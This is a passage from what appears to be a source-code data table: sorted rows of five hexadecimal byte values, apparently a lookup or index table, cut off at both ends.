0xCB, 0x2d, 0x2f,\r\n0x60, 0xC3, 0x97, 0x02, 0x0c,\r\n0x60, 0xC5, 0x47, 0x51, 0x03,\r\n0x60, 0xC5, 0xA8, 0xdf, 0x0a,\r\n0x60, 0xC5, 0xAD, 0x4f, 0x02,\r\n0x60, 0xC6, 0x58, 0x2e, 0x2f,\r\n0x60, 0xC7, 0x98, 0x26, 0x0a,\r\n0x60, 0xC9, 0x80, 0x2f, 0x2f,\r\n0x60, 0xCB, 0xFB, 0x30, 0x2f,\r\n0x60, 0xCD, 0xA9, 0x31, 0x2f,\r\n0x60, 0xCD, 0xC5, 0x32, 0x2f,\r\n0x60, 0xD0, 0x2C, 0x02, 0x11,\r\n0x60, 0xD0, 0xA9, 0x4f, 0x02,\r\n0x60, 0xD1, 0xAA, 0x33, 0x2f,\r\n0x60, 0xD2, 0x1C, 0x86, 0x28,\r\n0x60, 0xD2, 0x62, 0x34, 0x2f,\r\n0x60, 0xD2, 0xB9, 0x35, 0x2f,\r\n0x60, 0xD3, 0x0A, 0x36, 0x2f,\r\n0x60, 0xD7, 0xE3, 0x57, 0x17,\r\n0x60, 0xD8, 0x19, 0xe3, 0x11,\r\n0x60, 0xD9, 0xA0, 0x8c, 0x10,\r\n0x60, 0xD9, 0xC7, 0x51, 0x03,\r\n0x60, 0xDA, 0x23, 0x37, 0x2f,\r\n0x60, 0xDA, 0x83, 0x10, 0x0e,\r\n0x60, 0xDB, 0x2A, 0x38, 0x2f,\r\n0x60, 0xDE, 0x44, 0xda, 0x14,\r\n0x60, 0xDE, 0xF3, 0xda, 0x14,\r\n0x60, 0xE0, 0x0E, 0x39, 0x2f,\r\n0x60, 0xE3, 0x27, 0xcf, 0x09,\r\n0x60, 0xE3, 0xAC, 0xce, 0x17,\r\n0x60, 0xE6, 0xBC, 0x3a, 0x2f,\r\n0x60, 0xE7, 0x01, 0xda, 0x14,\r\n0x60, 0xE7, 0x8A, 0x3b, 0x2f,\r\n0x60, 0xE9, 0x56, 0x3c, 0x2f,\r\n0x60, 0xEB, 0x69, 0x20, 0x13,\r\n0x60, 0xEE, 0x5C, 0xe9, 0x01,\r\n0x60, 0xEF, 0xC6, 0xe9, 0x01,\r\n0x60, 0xF1, 0x3D, 0x3d, 0x2f,\r\n0x60, 0xF1, 0x89, 0xd4, 0x0c,\r\n0x60, 0xF1, 0x8A, 0xda, 0x14,\r\n0x60, 0xF2, 0x81, 0x3e, 0x2f,\r\n0x60, 0xF2, 0xEF, 0x3f, 0x2f,\r\n0x60, 0xF3, 0xDA, 0x40, 0x2f,\r\n0x60, 0xF4, 0x45, 0x51, 0x03,\r\n0x60, 0xF4, 0x94, 0xe3, 0x11,\r\n0x60, 0xF5, 0x9C, 0x41, 0x2f,\r\n0x60, 0xF6, 0x73, 0x42, 0x2f,\r\n0x60, 0xF6, 0x77, 0x80, 0x10,\r\n0x60, 0xF8, 0x1D, 0x51, 0x03,\r\n0x60, 0xFA, 0x9D, 0xda, 0x14,\r\n0x60, 0xFA, 0xCD, 0x51, 0x03,\r\n0x60, 0xFB, 0x42, 0x51, 0x03,\r\n0x60, 0xFD, 0x56, 0x43, 0x2f,\r\n0x60, 0xFE, 0x1E, 0x44, 0x2f,\r\n0x60, 0xFE, 0x20, 0x02, 0x0c,\r\n0x60, 0xFE, 0xC5, 0x51, 0x03,\r\n0x60, 0xFE, 0xF9, 0x81, 0x26,\r\n0x60, 0xFF, 0xDD, 0x45, 0x2f,\r\n0x64, 0x00, 0x2D, 0x66, 0x13,\r\n0x64, 0x00, 0x6A, 0xd1, 0x05,\r\n0x64, 0x00, 0xF1, 0x05, 0x00,\r\n0x64, 0x02, 0xCB, 0xb9, 0x00,\r\n0x64, 0x05, 0xBE, 0x46, 0x2f,\r\n0x64, 0x05, 0xE9, 0xe9, 0x01,\r\n0x64, 0x09, 0x4C, 0xd6, 0x1c,\r\n0x64, 0x09, 0x80, 0x34, 0x24,\r\n0x64, 0x0B, 0x4A, 0xc3, 0x12,\r\n0x64, 0x0D, 0xCE, 0xe9, 0x01,\r\n0x64, 0x0D, 0xE6, 0x47, 0x2f,\r\n0x64, 0x0E, 0x36, 0x48, 0x2f,\r\n0x64, 0x0E, 0x94, 0x49, 0x2f,\r\n0x64, 0x0F, 0x28, 0x02, 0x0c,\r\n0x64, 0x10, 0x84, 0x4a, 0x2f,\r\n0x64, 0x12, 0x25, 0x05, 0x00,\r\n0x64, 0x12, 0x69, 0xb9, 0x00,\r\n0x64, 0x13, 0x6C, 0xe1, 0x12,\r\n0x64, 0x16, 0x66, 0xd0, 0x29,\r\n0x64, 0x16, 0x7F, 0x8d, 0x04,\r\n0x64, 0x16, 0x8D, 0x05, 0x00,\r\n0x64, 0x16, 0xF0, 0xda, 0x14,\r\n0x64, 0x1A, 0x22, 0x4b, 0x2f,\r\n0x64, 0x1C, 0x67, 0x4c, 0x2f,\r\n0x64, 0x1C, 0xAE, 0x4f, 0x02,\r\n0x64, 0x1C, 0xB0, 0x4f, 0x02,\r\n0x64, 0x1E, 0x81, 0x4d, 0x2f,\r\n0x64, 0x20, 0x0C, 0x51, 0x03,\r\n0x64, 0x20, 0x9F, 0x39, 0x02,\r\n0x64, 0x21, 0x84, 0x86, 0x03,\r\n0x64, 0x22, 0x16, 0xc2, 0x10,\r\n0x64, 0x24, 0x00, 0x4e, 0x2f,\r\n0x64, 0x27, 0x37, 0xe3, 0x11,\r\n0x64, 0x2B, 0x8A, 0x4f, 0x2f,\r\n0x64, 0x2D, 0xB7, 0x50, 0x2f,\r\n0x64, 0x31, 0x50, 0xc9, 0x01,\r\n0x64, 0x31, 0x7E, 0x51, 0x2f,\r\n0x64, 0x32, 0xA8, 0x80, 0x10,\r\n0x64, 0x34, 0x09, 0x52, 0x2f,\r\n0x64, 0x35, 0x1C, 0x53, 0x2f,\r\n0x64, 0x3A, 0xB1, 0x19, 0x1d,\r\n0x64, 0x3E, 0x8C, 0xda, 0x14,\r\n0x64, 0x3F, 0x5F, 0x54, 0x2f,\r\n0x64, 0x42, 0x14, 0x10, 0x10,\r\n0x64, 0x43, 0x46, 0xc8, 0x0a,\r\n0x64, 0x47, 0xE0, 0x55, 0x2f,\r\n0x64, 0x4B, 0xC3, 0x0e, 0x03,\r\n0x64, 0x4B, 0xF0, 0x56, 0x2f,\r\n0x64, 0x4D, 0x70, 0x57, 0x2f,\r\n0x64, 0x4F, 0x42, 0x99, 0x21,\r\n0x64, 0x4F, 0x74, 0x58, 0x2f,\r\n0x64, 0x4F, 0xB0, 0x59, 0x2f,\r\n0x64, 0x51, 0x06, 0xc9, 0x01,\r\n0x64, 0x51, 0x7E, 0x5a, 0x2f,\r\n0x64, 0x52, 0x99, 0x4a, 0x12,\r\n0x64, 0x53, 0x5D, 0x5b, 0x2f,\r\n0x64, 0x54, 0x22, 0x5c, 0x2f,\r\n0x64, 0x55, 0x63, 0x5d, 0x2f,\r\n0x64, 0x55, 0x7F, 0x5e, 0x2f,\r\n0x64, 0x55, 0xB1, 0xb9, 0x00,\r\n0x64, 0x56, 0x01, 0xcf, 0x09,\r\n0x64, 0x59, 0xF8, 0x97, 0x1d,\r\n0x64, 0x5A, 0x04, 0xb1, 0x2d,\r\n0x64, 0x5A, 0xED, 0x51, 0x03,\r\n0x64, 0x5D, 0x92, 0x19, 0x1d,\r\n0x64, 0x5D, 0xD7, 0xe9, 0x01,\r\n0x64, 0x5E, 0xBE, 0x5f, 0x2f,\r\n0x64, 0x5F, 0xFF, 0x60, 0x2f,\r\n0x64, 0x61, 0x84, 0x61, 0x2f,\r\n0x64, 0x62, 0x23, 0x62, 0x2f,\r\n0x64, 0x64, 0x9B, 0x08, 0x05,\r\n0x64, 0x65, 0xC0, 0x63, 0x2f,\r\n0x64, 0x66, 0xB3, 0xcf, 0x09,\r\n0x64, 0x67, 0x07, 0x64, 0x2f,\r\n0x64, 0x68, 0x0C, 0x5c, 0x18,\r\n0x64, 0x69, 0xBC, 0x65, 0x2f,\r\n0x64, 0x6A, 0x52, 0xc2, 0x03,\r\n0x64, 0x6A, 0x74, 0x66, 0x2f,\r\n0x64, 0x6C, 0xB2, 0x4f, 0x02,\r\n0x64, 0x6D, 0x6C, 0xda, 0x14,\r\n0x64, 0x6E, 0x69, 0x21, 0x1c,\r\n0x64, 0x6E, 0x6C, 0x67, 0x2f,\r\n0x64, 0x6E, 0xEA, 0x2b, 0x26,\r\n0x64, 0x70, 0x02, 0xcf, 0x09,\r\n0x64, 0x70, 0x33, 0x51, 0x03,\r\n0x64, 0x72, 0xD8, 0x68, 0x2f,\r\n0x64, 0x73, 0xE2, 0x69, 0x2f,\r\n0x64, 0x74, 0xF6, 0x6a, 0x2f,\r\n0x64, 0x76, 0x57, 0xd3, 0x01,\r\n0x64, 0x76, 0xBA, 0x51, 0x03,\r\n0x64, 0x77, 0x7D, 0x4a, 0x05,\r\n0x64, 0x77, 0x91, 0x4f, 0x02,\r\n0x64, 0x79, 0xA7, 0x6b, 0x2f,\r\n0x64, 0x7B, 0xD4, 0xeb, 0x0f,\r\n0x64, 0x7C, 0x34, 0xe0, 0x28,\r\n0x64, 0x7D, 0x81, 0x6c, 0x2f,\r\n0x64, 0x7F, 0xDA, 0x6d, 0x2f,\r\n0x64, 0x80, 0x8B, 0x6e, 0x2f,\r\n0x64, 0x80, 0x99, 0x80, 0x10,\r\n0x64, 0x81, 0x25, 0x6f, 0x2f,\r\n0x64, 0x87, 0x88, 0x08, 0x05,\r\n0x64, 0x87, 0xD7, 0x71, 0x07,\r\n0x64, 0x88, 0xFF, 0x9d, 0x11,\r\n0x64, 0x89, 0x9A, 0xce, 0x17,\r\n0x64, 0x8D, 0x9E, 0x70, 0x2f,\r\n0x64, 0x98, 0x29, 0xd5, 0x00,\r\n0x64, 0x99, 0x5D, 0xaf, 0x2e,\r\n0x64, 0x99, 0x68, 0x7d, 0x1d,\r\n0x64, 0x99, 0xA0, 0xe6, 0x06,\r\n0x64, 0x9A, 0x08, 0xe9, 0x01,\r\n0x64, 0x9A, 0x12, 0x71, 0x2f,\r\n0x64, 0x9A, 0xBE, 0x51, 0x03,\r\n0x64, 0x9B, 0x24, 0x72, 0x2f,\r\n0x64, 0x9C, 0x81, 0xc8, 0x24,\r\n0x64, 0x9C, 0x8E, 0xeb, 0x0f,\r\n0x64, 0x9E, 0xF3, 0x05, 0x00,\r\n0x64, 0x9F, 0xF7, 0x73, 0x2f,\r\n0x64, 0xA0, 0xE7, 0x05, 0x00,\r\n0x64, 0xA2, 0x32, 0x74, 0x2f,\r\n0x64, 0xA2, 0xF9, 0x75, 0x2f,\r\n0x64, 0xA3, 0x41, 0x76, 0x2f,\r\n0x64, 0xA3, 0xCB, 0x51, 0x03,\r\n0x64, 0xA5, 0xC3, 0x51, 0x03,\r\n0x64, 0xA6, 0x51, 0xda, 0x14,\r\n0x64, 0xA6, 0x8F, 0xe7, 0x14,\r\n0x64, 0xA7, 0x69, 0x3f, 0x08,\r\n0x64, 0xA7, 0xDD, 0xc2, 0x03,\r\n0x64, 0xA8, 0x37, 0x77, 0x2f,\r\n0x64, 0xAE, 0x0C, 0x05, 0x00,\r\n0x64, 0xAE, 0x88, 0x78, 0x2f,\r\n0x64, 0xB0, 0xA6, 0x51, 0x03,\r\n0x64, 0xB2, 0x1D, 0x79, 0x2f,\r\n0x64, 0xB3, 0x10, 0x4f, 0x02,\r\n0x64, 0xB3, 0x70, 0x90, 0x0f,\r\n0x64, 0xB4, 0x73, 0x34, 0x24,\r\n0x64, 0xB5, 0xC6, 0xc5, 0x08,\r\n0x64, 0xB6, 0x4A, 0x7a, 0x2f,\r\n0x64, 0xB8, 0x53, 0x4f, 0x02,\r\n0x64, 0xB9, 0xE8, 0x51, 0x03,\r\n0x64, 0xBA, 0xBD, 0x7b, 0x2f,\r\n0x64, 0xBC, 0x0C, 0xce, 0x17,\r\n0x64, 0xBC, 0x11, 0x7c, 0x2f,\r\n0x64, 0xC3, 0x54, 0xc2, 0x03,\r\n0x64, 0xC3, 0xD6, 0x08, 0x05,\r\n0x64, 0xC5, 0xAA, 0x7d, 0x2f,\r\n0x64, 0xC6, 0x67, 0x70, 0x2e,\r\n0x64, 0xC6, 0xAF, 0x7e, 0x2f,\r\n0x64, 0xC9, 0x44, 0x7f, 0x2f,\r\n0x64, 0xCB, 0x5D, 0x80, 0x2f,\r\n0x64, 0xCB, 0xA3, 0x3e, 0x1d,\r\n0x64, 0xCC, 0x2E, 0x34, 0x24,\r\n0x64, 0xCF, 0xD9, 0xeb, 0x0f,\r\n0x64, 0xD0, 0x2D, 0x09, 0x08,\r\n0x64, 0xD1, 0x54, 0xfa, 0x0a,\r\n0x64, 0xD1, 0xA3, 0x98, 0x0b,\r\n0x64, 0xD2, 0x41, 0x81, 0x2f,\r\n0x64, 0xD4, 0xBD, 0x93, 0x02,\r\n0x64, 0xD4, 0xDA, 0x80, 0x10,\r\n0x64, 0xD8, 0x14, 0x05, 0x00,\r\n0x64, 0xD9, 0x12, 0x82, 0x2f,\r\n0x64, 0xD9, 0x54, 0x56, 0x2b,\r\n0x64, 0xD9, 0x89, 0x05, 0x00,\r\n0x64, 0xDA, 0xA0, 0xf0, 0x0b,\r\n0x64, 0xDB, 0x18, 0x83, 0x2f,\r\n0x64, 0xDB, 0x43, 0x22, 0x09,\r\n0x64, 0xDB, 0x81, 0x84, 0x2f,\r\n0x64, 0xDB, 0x8B, 0x10, 0x0e,\r\n0x64, 0xDB, 0xA0, 0x85, 0x2f,\r\n0x64, 0xDC, 0x01, 0x86, 0x2f,\r\n0x64, 0xDE, 0x1C, 0x87, 0x2f,\r\n0x64, 0xDF, 0xE9, 0x88, 0x2f,\r\n0x64, 0xE1, 0x61, 0x89, 0x2f,\r\n0x64, 0xE5, 0x99, 0xc0, 0x07,\r\n0x64, 0xE6, 0x25, 0x8a, 0x2f,\r\n0x64, 0xE6, 0x82, 0x51, 0x03,\r\n0x64, 0xE8, 0x4F, 0x8b, 0x2f,\r\n0x64, 0xE8, 0x92, 0x8c, 0x2f,\r\n0x64, 0xE8, 0xE6, 0x8d, 0x2f,\r\n0x64, 0xE9, 0x50, 0x05, 0x00,\r\n0x64, 0xEA, 0xC5, 0x8e, 0x2f,\r\n0x64, 0xEB, 0x8C, 0x41, 0x00,\r\n0x64, 0xED, 0x57, 0xb9, 0x00,\r\n0x64, 0xED, 0x62, 0x8f, 0x2f,\r\n0x64, 0xF2, 0x42, 0x90, 0x2f,\r\n0x64, 0xF5, 0x0E, 0x91, 0x2f,\r\n0x64, 0xF6, 0x9D, 0x05, 0x00,\r\n0x64, 0xF8, 0x8A, 0xe5, 0x25,\r\n0x64, 0xF9, 0x70, 0x92, 0x2f,\r\n0x64, 0xF9, 0x87, 0x93, 0x2f,\r\n0x64, 0xFB, 0x50, 0x94, 0x2f,\r\n0x64, 0xFB, 0x81, 0x57, 0x17,\r\n0x64, 0xFC, 0x8C, 0x95, 0x2f,\r\n0x68, 0x02, 0x35, 0x96, 0x2f,\r\n0x68, 0x05, 0x71, 0x4f, 0x02,\r\n0x68, 0x05, 0xCA, 0x80, 0x10,\r\n0x68, 0x07, 0x15, 0x80, 0x10,\r\n0x68, 0x09, 0x27, 0x51, 0x03,\r\n0x68, 0x0A, 0xD7, 0x97, 0x2f,\r\n0x68, 0x12, 0x2D, 0x98, 0x2f,\r\n0x68, 0x12, 0x95, 0x99, 0x2f,\r\n0x68, 0x14, 0x01, 0xe3, 0x11,\r\n0x68, 0x15, 0x90, 0xc4, 0x0c,\r\n0x68, 0x15, 0xD3, 0x9a, 0x2f,\r\n0x68, 0x16, 0x05, 0x9b, 0x2f,\r\n0x68, 0x17, 0x29, 0x80, 0x10,\r\n0x68, 0x19, 0x3F, 0x0a, 0x17,\r\n0x68, 0x1A, 0xB2, 0xe1, 0x12,\r\n0x68, 0x1C, 0xA2, 0x9c, 0x2f,\r\n0x68, 0x1D, 0x64, 0x9d, 0x2f,\r\n0x68, 0x1D, 0xEF, 0xe9, 0x01,\r\n0x68, 0x1E, 0x8B, 0x9e, 0x2f,\r\n0x68, 0x1F, 0x40, 0x9f, 0x2f,\r\n0x68, 0x1F, 0xD8, 0x70, 0x0a,\r\n0x68, 0x23, 0x4B, 0xa0, 0x2f,\r\n0x68, 0x26, 0x2A, 0x19, 0x1d,\r\n0x68, 0x27, 0x37, 0x4f, 0x02,\r\n0x68, 0x28, 0xBA, 0xa1, 0x2f,\r\n0x68, 0x28, 0xF6, 0xa2, 0x2f,\r\n0x68, 0x2C, 0x7B, 0x05, 0x00,\r\n0x68, 0x2D, 0xDC, 0xa3, 0x2f,\r\n0x68, 0x31, 0xFE, 0xa4, 0x2f,\r\n0x68, 0x35, 0x63, 0xe9, 0x01,\r\n0x68, 0x36, 0xB5, 0xa5, 0x2f,\r\n0x68, 0x37, 0xE9, 0x96, 0x22,\r\n0x68, 0x3A, 0x1E, 0x80, 0x14,\r\n0x68, 0x3B, 0x1E, 0xa6, 0x2f,\r\n0x68, 0x3C, 0x7D, 0xa7, 0x2f,\r\n0x68, 0x3E, 0x02, 0xa8, 0x2f,\r\n0x68, 0x3E, 0x34, 0x25, 0x2c,\r\n0x68, 0x3E, 0xEC, 0xa9, 0x2f,\r\n0x68, 0x43, 0x52, 0xaa, 0x2f,\r\n0x68, 0x48, 0x98, 0x4f, 0x02,\r\n0x68, 0x4B, 0x88, 0x46, 0x07,\r\n0x68, 0x4C, 0xA8, 0xe9, 0x01,\r\n0x68, 0x51, 0xB7, 0xab, 0x2f,\r\n0x68, 0x53, 0x6C, 0xac, 0x2f,\r\n0x68, 0x53, 0x88, 0xad, 0x2f,\r\n0x68, 0x54, 0xC1, 0xfa, 0x2b,\r\n0x68, 0x54, 0xED, 0xd1, 0x06,\r\n0x68, 0x54, 0xF5, 0xae, 0x2f,\r\n0x68, 0x54, 0xFD, 0x96, 0x22,\r\n0x68, 0x57, 0x2D, 0x10, 0x0e,\r\n0x68, 0x58, 0xC5, 0xaf, 0x2f,\r\n0x68, 0x59, 0x7F, 0xdd, 0x28,\r\n0x68, 0x5A, 0xCF, 0x4f, 0x02,\r\n0x68, 0x5B, 0x35, 0x51, 0x03,\r\n0x68, 0x5B, 0x36, 0x57, 0x12,\r\n0x68, 0x5D, 0x43, 0x80, 0x10,\r\n0x68, 0x5E, 0x6B, 0xb0, 0x2f,\r\n0x68, 0x63, 0x59, 0xf7, 0x01,\r\n0x68, 0x64, 0x4B, 0x51, 0x03,\r\n0x68, 0x69, 0x2E, 0xb1, 0x2f,\r\n0x68, 0x69, 0x75, 0xb2, 0x2f,\r\n0x68, 0x69, 0xF2, 0xb3, 0x2f,\r\n0x68, 0x6E, 0x23, 0xb4, 0x2f,\r\n0x68, 0x6E, 0x48, 0xb5, 0x2f,\r\n0x68, 0x72, 0x51, 0x84, 0x12,\r\n0x68, 0x72, 0xDC, 0xb6, 0x2f,\r\n0x68, 0x76, 0x4F, 0xbe, 0x09,\r\n0x68, 0x78, 0x48, 0xb7, 0x2f,\r\n0x68, 0x78, 0x4C, 0x69, 0x01,\r\n0x68, 0x79, 0x24, 0xb8, 0x2f,\r\n0x68, 0x79, 0xED, 0xfe, 0x13,\r\n0x68, 0x7C, 0xC8, 0x1a, 0x10,\r\n0x68, 0x7C, 0xD5, 0xb9, 0x2f,\r\n0x68, 0x7F, 0x74, 0xf9, 0x0a,\r\n0x68, 0x83, 0x1A, 0xba, 0x2f,\r\n0x68, 0x84, 0x70, 0x03, 0x2b,\r\n0x68, 0x85, 0x40, 0xbb, 0x2f,\r\n0x68, 0x85, 0x6A, 0xbc, 0x2f,\r\n0x68, 0x86, 0xA7, 0x05, 0x00,\r\n0x68, 0x86, 0xE7, 0xbd, 0x2f,\r\n0x68, 0x87, 0x6B, 0xbe, 0x2f,\r\n0x68, 0x89, 0x75, 0xbf, 0x2f,\r\n0x68, 0x89, 0xC1, 0xda, 0x14,\r\n0x68, 0x8A, 0xB5, 0xc0, 0x2f,\r\n0x68, 0x8A, 0xF0, 0xe1, 0x12,\r\n0x68, 0x8D, 0xB6, 0xc1, 0x2f,\r\n0x68, 0x8F, 0x84, 0xda, 0x14,\r\n0x68, 0x91, 0xD0, 0x57, 0x17,\r\n0x68, 0x92, 0x34, 0x02, 0x11,\r\n0x68, 0x93, 0x61, 0xd5, 0x00,\r\n0x68, 0x94, 0x23, 0xe3, 0x11,\r\n0x68, 0x96, 0x7B, 0x51, 0x03,\r\n0x68, 0x97, 0x4B, 0xe9, 0x01,\r\n0x68, 0x97, 0xE8, 0xc2, 0x2f,\r\n0x68, 0x98, 0x61, 0xc3, 0x2f,\r\n0x68, 0x99, 0xCD, 0x05, 0x00,\r\n0x68, 0x9A, 0xB7, 0xc4, 0x2f,\r\n0x68, 0x9C, 0x5E, 0x38, 0x1f,\r\n0x68, 0x9C, 0x70, 0x51, 0x03,\r\n0x68, 0x9C, 0xE2, 0x05, 0x00,\r\n0x68, 0x9E, 0x19, 0xeb, 0x0f,\r\n0x68, 0x9F, 0xF0, 0xe1, 0x12,\r\n0x68, 0xA0, 0xF6, 0xda, 0x14,\r\n0x68, 0xA1, 0xB7, 0xc5, 0x2f,\r\n0x68, 0xA3, 0x78, 0x1f, 0x07,\r\n0x68, 0xA3, 0xC4, 0x21, 0x1c,\r\n0x68, 0xA4, 0x0E, 0xc6, 0x2f,\r\n0x68, 0xA6, 0x82, 0xe9, 0x01,\r\n0x68, 0xA8, 0x28, 0xda, 0x14,\r\n0x68, 0xA8, 0x6D, 0x51, 0x03,\r\n0x68, 0xAA, 0xD2, 0xc7, 0x2f,\r\n0x68, 0xAB, 0x1E, 0x51, 0x03,\r\n0x68, 0xAB, 0x8A, 0xc8, 0x2f,\r\n0x68, 0xAE, 0x20, 0x51, 0x03,\r\n0x68, 0xAF, 0x13, 0xc9, 0x2f,\r\n0x68, 0xB0, 0x94, 0xca, 0x2f,\r\n0x68, 0xB3, 0x5E, 0xe9, 0x01,\r\n0x68, 0xB4, 0x3A, 0xcb, 0x2f,\r\n0x68, 0xB5, 0x99, 0xc9, 0x01,\r\n0x68, 0xB6, 0xFC, 0x4a, 0x05,\r\n0x68, 0xB8, 0xD9, 0xcc, 0x2f,\r\n0x68, 0xB9, 0x83, 0xcd, 0x2f,\r\n0x68, 0xBC, 0x0C, 0x05, 0x00,\r\n0x68, 0xBD, 0xAB, 0x05, 0x00,\r\n0x68, 0xC4, 0x4D, 0x22, 0x09,\r\n0x68, 0xC6, 0x3A, 0xe3, 0x29,\r\n0x68, 0xC9, 0x0B, 0xeb, 0x0f,\r\n0x68, 0xCA, 0x00, 0xce, 0x2f,\r\n0x68, 0xCA, 0xE4, 0x05, 0x00,\r\n0x68, 0xCC, 0x6E, 0xda, 0x14,\r\n0x68, 0xCC, 0x9C, 0xcf, 0x2f,\r\n0x68, 0xCD, 0x0F, 0xd0, 0x2f,\r\n0x68, 0xCE, 0x4E, 0x70, 0x02,\r\n0x68, 0xD1, 0xBA, 0xe9, 0x01,\r\n0x68, 0xD1, 0xFD, 0xe9, 0x01,\r\n0x68, 0xD2, 0x47, 0xd1, 0x2f,\r\n0x68, 0xD4, 0x82, 0xe9, 0x01,\r\n0x68, 0xD9, 0x25, 0xd2, 0x2f,\r\n0x68, 0xD9, 0x3C, 0x51, 0x03,\r\n0x68, 0xDB, 0x54, 0x4f, 0x2b,\r\n0x68, 0xDB, 0x67, 0xd3, 0x2f,\r\n0x68, 0xDB, 0x96, 0xd4, 0x2f,\r\n0x68, 0xDB, 0xCA, 0x51, 0x03,\r\n0x68, 0xDC, 0xE8, 0xd5, 0x2f,\r\n0x68, 0xDF, 0xDD, 0x34, 0x24,\r\n0x68, 0xE1, 0x66, 0x65, 0x00,\r\n0x68, 0xE4, 0x1F, 0xd6, 0x2f,\r\n0x68, 0xE7, 0xC2, 0x4f, 0x02,\r\n0x68, 0xE8, 0xEB, 0xd7, 0x2f,\r\n0x68, 0xEB, 0xAE, 0x4f, 0x02,\r\n0x68, 0xEB, 0xC5, 0xd8, 0x2f,\r\n0x68, 0xEC, 0x62, 0xd9, 0x2f,\r\n0x68, 0xEC, 0xC5, 0x80, 0x10,\r\n0x68, 0xED, 0x43, 0xc2, 0x0d,\r\n0x68, 0xED, 0xA4, 0xe9, 0x01,\r\n0x68, 0xEE, 0x96, 0xc4, 0x14,\r\n0x68, 0xEF, 0x43, 0x51, 0x03,\r\n0x68, 0xEF, 0xBD, 0x05, 0x00,\r\n0x68, 0xF0, 0x6D, 0xda, 0x2f,\r\n0x68, 0xF0, 0xBC, 0xe9, 0x01,\r\n0x68, 0xF1, 0x25, 0x94, 0x23,\r\n0x68, 0xF7, 0x28, 0x7b, 0x29,\r\n0x68, 0xF8, 0x95, 0xdb, 0x2f,\r\n0x68, 0xF9, 0x56, 0xdc, 0x2f,\r\n0x68, 0xFB, 0x7E, 0x51, 0x03,\r\n0x68, 0xFB, 0x95, 0xdd, 0x2f,\r\n0x68, 0xFC, 0xB3, 0x12, 0x24,\r\n0x68, 0xFE, 0xDA, 0x54, 0x1f,\r\n0x68, 0xFE, 0xF7, 0x51, 0x03,\r\n0x6A, 0x0E, 0x20, 0xde, 0x2f,\r\n0x6A, 0x1F, 0x6C, 0xdf, 0x2f,\r\n0x6A, 0x40, 0x65, 0xe0, 0x2f,\r\n0x6A, 0x73, 0x7D, 0xe1, 0x2f,\r\n0x6A, 0xE6, 0x4A, 0x80, 0x18,\r\n0x6C, 0x02, 0x73, 0xe9, 0x01,\r\n0x6C, 0x04, 0x60, 0xe2, 0x2f,\r\n0x6C, 0x05, 0xD5, 0xe3, 0x2f,\r\n0x6C, 0x09, 0x0A, 0xe4, 0x2f,\r\n0x6C, 0x09, 0xD6, 0xe5, 0x2f,\r\n0x6C, 0x0B, 0x84, 0x0a, 0x01,\r\n0x6C, 0x0E, 0x0D, 0xbe, 0x09,\r\n0x6C, 0x0E, 0xE6, 0xe6, 0x2f,\r\n0x6C, 0x0F, 0x6A, 0xe7, 0x2f,\r\n0x6C, 0x14, 0xF7, 0xe8, 0x2f,\r\n0x6C, 0x15, 0xF9, 0xe9, 0x2f,\r\n0x6C, 0x16, 0x0E, 0xea, 0x2f,\r\n0x6C, 0x18, 0x11, 0xeb, 0x2f,\r\n0x6C, 0x19, 0x8F, 0xde, 0x28,\r\n0x6C, 0x19, 0xC0, 0x51, 0x03,\r\n0x6C, 0x1E, 0x70, 0xd3, 0x06,\r\n0x6C, 0x1E, 0x90, 0xec, 0x2f,\r\n0x6C, 0x20, 0x56, 0x05, 0x00,\r\n0x6C, 0x21, 0xA2, 0x8e, 0x1c,\r\n0x6C, 0x22, 0xAB, 0xed, 0x2f,\r\n0x6C, 0x23, 0xB9, 0xbe, 0x09,\r\n0x6C, 0x24, 0x83, 0xb4, 0x03,\r\n0x6C, 0x25, 0xB9, 0x28, 0x2b,\r\n0x6C, 0x27, 0x79, 0xb4, 0x03,\r\n0x6C, 0x29, 0x95, 0x80, 0x10,\r\n0x6C, 0x2A, 0xCB, 0x9d, 0x0a,\r\n0x6C, 0x2C, 0x06, 0xee, 0x2f,\r\n0x6C, 0x2E, 0x33, 0xef, 0x2f,\r\n0x6C, 0x2E, 0x72, 0xf0, 0x2f,\r\n0x6C, 0x2E, 0x85, 0xc4, 0x0c,\r\n0x6C, 0x2F, 0x2C, 0x4f, 0x02,\r\n0x6C, 0x32, 0xDE, 0xf1, 0x2f,\r\n0x6C, 0x33, 0xA9, 0xf2, 0x2f,\r\n0x6C, 0x38, 0x38, 0xf3, 0x2f,\r\n0x6C, 0x38, 0xA1, 0xe0, 0x28,\r\n0x6C, 0x39, 0x1D, 0x7b, 0x08,\r\n0x6C, 0x3A, 0x84, 0xe9, 0x01,\r\n0x6C, 0x3B, 0x6B, 0xfa, 0x0a,\r\n0x6C, 0x3B, 0xE5, 0xc9, 0x01,\r\n0x6C, 0x3C, 0x53, 0xf4, 0x2f,\r\n0x6C, 0x3E, 0x6D, 0x51, 0x03,\r\n0x6C, 0x3E, 0x9C, 0xf5, 0x2f,\r\n0x6C, 0x40, 0x08, 0x51, 0x03,\r\n0x6C, 0x40, 0xC6, 0xf6, 0x2f,\r\n0x6C, 0x41, 0x6A, 0x05, 0x00,\r\n0x6C, 0x44, 0x18, 0xf7, 0x2f,\r\n0x6C, 0x45, 0x98, 0xf8, 0x2f,\r\n0x6C, 0x49, 0xC1, 0xf9, 0x2f,\r\n0x6C, 0x4A, 0x39, 0xfa, 0x2f,\r\n0x6C, 0x4B, 0x7F, 0xfb, 0x2f,\r\n0x6C, 0x4B, 0x90, 0x83, 0x2a,\r\n0x6C, 0x4D, 0x73, 0x51, 0x03,\r\n0x6C, 0x4E, 0x86, 0xfc, 0x2f,\r\n0x6C, 0x50, 0x4D, 0x05, 0x00,\r\n0x6C, 0x54, 0xCD, 0xfd, 0x2f,\r\n0x6C, 0x56, 0x97, 0x96, 0x22,\r\n0x6C, 0x57, 0x79, 0xfe, 0x2f,\r\n0x6C, 0x59, 0x40, 0xda, 0x1a,\r\n0x6C, 0x59, 0x76, 0x0e, 0x03,\r\n0x6C, 0x5A, 0x34, 0xe9, 0x01,\r\n0x6C, 0x5A, 0xB5, 0xc1, 0x17,\r\n0x6C, 0x5C, 0x14, 0xc8, 0x0a,\r\n0x6C, 0x5C, 0xDE, 0xff, 0x2f,\r\n0x6C, 0x5D, 0x63, 0xe9, 0x01,\r\n0x6C, 0x5E, 0x7A, 0x64, 0x2b,\r\n0x6C, 0x5F, 0x1C, 0x8c, 0x10,\r\n0x6C, 0x60, 0xEB, 0x00, 0x30,\r\n0x6C, 0x61, 0x26, 0x01, 0x30,\r\n0x6C, 0x62, 0x6D, 0x28, 0x0b,\r\n0x6C, 0x64, 0x1A, 